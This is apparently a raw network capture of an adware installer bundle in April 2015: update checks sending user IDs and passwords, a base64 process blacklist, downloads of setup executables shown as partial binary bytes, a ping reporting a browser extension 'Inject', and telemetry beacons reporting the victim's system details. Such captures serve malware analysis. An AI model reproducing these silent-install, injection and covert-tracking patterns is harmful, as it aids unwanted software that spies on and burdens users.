 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=1
0&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-
fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&
PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&am
p;VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQU1engvXN0rq3VPQPI0y8 orWOLw==" />..&l
t;input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEG<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690899&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 100546

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:40 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690906&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:46 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 2015 08:21:46 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429690955&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=14iwggmbsnppkq45v2elvp45


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 547

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:22:35 GMT
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>.HTTP/1.1 
200 OK..Cache-Control: private..Content-Length: 547..Content-Type: tex
t/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.
0.50727..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 2015 08:22:35 GMT..&
lt;RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.&
lt;EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_U
RL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<ST
ATS><COLLECT>1</COLLECT></STATS>..<ADS><
SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>108
</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNm<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=327040-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 327040-523263/523264

Content-Length: 196224

Connection: keep-alive
...6.C.......4..e.(.....7.dQ.I......l....J..:.W<.m7Fd/.!.I.s.....z.
..Q.(O.....h.........V...E....T..K....K...".}..O%.K...D..Me.."..b....9
.D..Q..L?..`......`..!|X.=....vt5..2w...%.q.$R....).. ..t..f...&......
V.6......V...J...}l..),"[C...ro U..g$4...?JO/#.p...[T..}l....m......R.
....B.-c..........D..../....$..r3..........!!.o..#'[email protected]...
........)n:S.`....ZP.:Ih.!.\..Za[P....u.@.'.....0.8..^.6.............R
...J...T.e.a:._y.".$y......x......9.N..aL[..2..Z$....[.y,u...0^..a..pJ
[email protected]..^%2i..rJF..C..0c...}..&....z`.2h"'.;
.L.n.....j4........b..47.....B...8....\.}Ta`.<........K....<..."
..j.oj}.}..<aQ.........iIy..'.6E...........EI.@....>......m.....
....|.}[email protected]@"....G4...C..A...o.6...97..H...%.
[g..."[email protected].~P....*[email protected]....`......m/.........yY
.>.....=...VEd.-.........q.V0..,.i.H:...X...73....Q..E.%.......h..q
.bHO!.c...H...|..<....}....%....9..>M.......fd..>..\....._4eh
..../.C [email protected]..._Rt...j.P..$g-k<n8..._...?.n.P\.
E..=..A...;....7.....:Z8FM.3..4...Q..w.T.3....g..v.......j..p..n.%G`oo
..8..0q.>W.>..R1Q.... w..z.W3n..v.y.'".....q..^..x..O...........
..d`...O.VQd.jo.o.i;....Zx.........jn...'v...YY.R..2.(.F,B".\..4.gcj..
...................>].......c.#..2B.... nB.{.'xh...w.Q..2zikto._..G
.#...I.|Z.K...`Z.F.Kq..............C.WN...L[...........:.X.._.SRT%n.#.
....9_......S..\..3!...6.B....x..[.T.5.H...c.\.!4...4....D....xV...D..
.~R...].._.bd...(...j.E.?h$.l.}>QG...<..<t.F.yj...Z......<<< skipped >>>

GET /b/WebProtectPI.exe?s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:07 GMT

Content-Type: application/octet-stream

Content-Length: 130038

Last-Modified: Mon, 13 Apr 2015 09:47:23 GMT

Connection: keep-alive

ETag: "552b90ab-1fbf6"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.P...............................................s.......@............
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=JollyWallet HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:23:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:23:34 GMT..Content-Length: 0..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 503496

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-671327/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B..}..}..E.F.0.E...;_.w.;.v..Rp....k...E._^[....U...E.V.u....
.w.........F...w..........^]...U....w............;[email protected].@].3.]...
U..V.zw...u.;.....u..jw...N.......^]..Yw...........H.;.t....x..u.^]..o
...N..H.....U......T.H..e...M.3..M..E..E..E..E.@.E...B..M..E.d......E.
.E.d......u.Q.u..*......E.d.........Pd.5.....D$. d$.SVW.(...T.H.3.P.u.
.E......E.d......Pd.5.....D$. d$.SVW.(...T.H.3.P.e..u..E......E.d.<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=36462-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 36460

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 36462-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 6296292885688507e00160ec3af83700.cloudfront.net (CloudFront)

X-Amz-Cf-Id: a6Xv1Vi4c4Fv7oKNNrR0DQvH74-j4rL8CGgC4YQAp-S697Pm5-PUSg==

......................................................................
.................................................................._...
..........................................V...........................
..................QS`.............%..............................RST..
........S;..............S.................QOTh.........P;??...........
...U...............QOK`.........P;?@@?..............S..............#J^
`........P;?@@@@?..............U............"IK`h........DdEBA@@@@=...
.........SU..........$.JLh........cgg..jEA>..<...........SO.....
......HK^h...............eE...............OU........%.FJ^h............
....j...............SI..........FJ]b................e...............SO
U......%..'M]b................e..............._OI......$.(*MXob.......
........................VP ........(3W\a..........hpppiffT............
..VPIU......)25[n.................................ZPI ......07km......
............................ZPI ......678.............................
......ZP......./6~..................................aZXJ........6~8...
........................a.ZaZaZXKJ........679m........................
.....Z_ZT_PI........075kmn........................._._VTTPPI........)-
.Yln..........................V_VPTPIG........& ,Nlo..................
.........._TPKI.. .....!/45km.................................SR.R....
.%1~...............................................{..................
............................%z.....................................}..
...................t...z.|z..t...............|.........yz......|..

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429690905 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 09oG9pv0VAHRXLQ6x0zDtTwNXY79PZFf3gmekrjiZdi3mgvUPCkQyDAZow3AZ9gk

x-amz-request-id: E4204B16511AFE6A

Date: Wed, 22 Apr 2015 08:21:47 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 09oG9p
v0VAHRXLQ6x0zDtTwNXY79PZFf3gmekrjiZdi3mgvUPCkQyDAZow3AZ9gk..x-amz-requ
est-id: E4204B16511AFE6A..Date: Wed, 22 Apr 2015 08:21:47 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=3&rnd=1429690908 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Z1hPsCktNikVSwOYWwjanG3s3knAF7ZYNfTYV wGV1hPrn0HenxSQXpjWE5fCDcZ

x-amz-request-id: 5DD24E648C758AC9

Date: Wed, 22 Apr 2015 08:21:49 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Z1hPsC
ktNikVSwOYWwjanG3s3knAF7ZYNfTYV wGV1hPrn0HenxSQXpjWE5fCDcZ..x-amz-requ
est-id: 5DD24E648C758AC9..Date: Wed, 22 Apr 2015 08:21:49 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429690909 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 1W16Ck3YVAKFuujpaoU82ayfK1wRWTnGJOHh4iF7l3jIVJ8v3u nQq51TM4Lbs2g

x-amz-request-id: 127F57602DB54CE4

Date: Wed, 22 Apr 2015 08:21:50 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429690909 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FyicVP3WKXPUWIud2OtcinTHlGrmAUpBjTM6dQ/7ct5ubRgzh8OZVA7aZtIE2VIt

x-amz-request-id: F0542A2F2CCA302B

Date: Wed, 22 Apr 2015 08:21:50 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: FyicVP
3WKXPUWIud2OtcinTHlGrmAUpBjTM6dQ/7ct5ubRgzh8OZVA7aZtIE2VIt..x-amz-requ
est-id: F0542A2F2CCA302B..Date: Wed, 22 Apr 2015 08:21:50 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429690910 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FmWCpemikBPJsm5EXE4ah8sbZ88ybCjcIDgUde7eFXKhijTyji/YF aB2eiyrwVQ

x-amz-request-id: BFE19857818E0948

Date: Wed, 22 Apr 2015 08:21:51 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: FmWCpe
mikBPJsm5EXE4ah8sbZ88ybCjcIDgUde7eFXKhijTyji/YF aB2eiyrwVQ..x-amz-requ
est-id: BFE19857818E0948..Date: Wed, 22 Apr 2015 08:21:51 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429690910 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: HQklC8V8YlyrQODk/C9DNeNFjw6Siz6ltE8dJH7QTihvBPXdpRp0TfWKo9W63Ord

x-amz-request-id: 6DE3B4DE5AB8076D

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: sRPLzljO3rXvgdBXjApIrrDs49y/GmhS9EcCjwSOo42 Ct9 UGs8c/VmlETKxN6Q

x-amz-request-id: A490EAD233ADFA12

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: sD2BNmFSqXQF0o8WnvZHh6wzLFMcx2XKasREbC4buQCTpnxKETfgNdnibNDJE38i

x-amz-request-id: 15FA610EC86E80F8

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

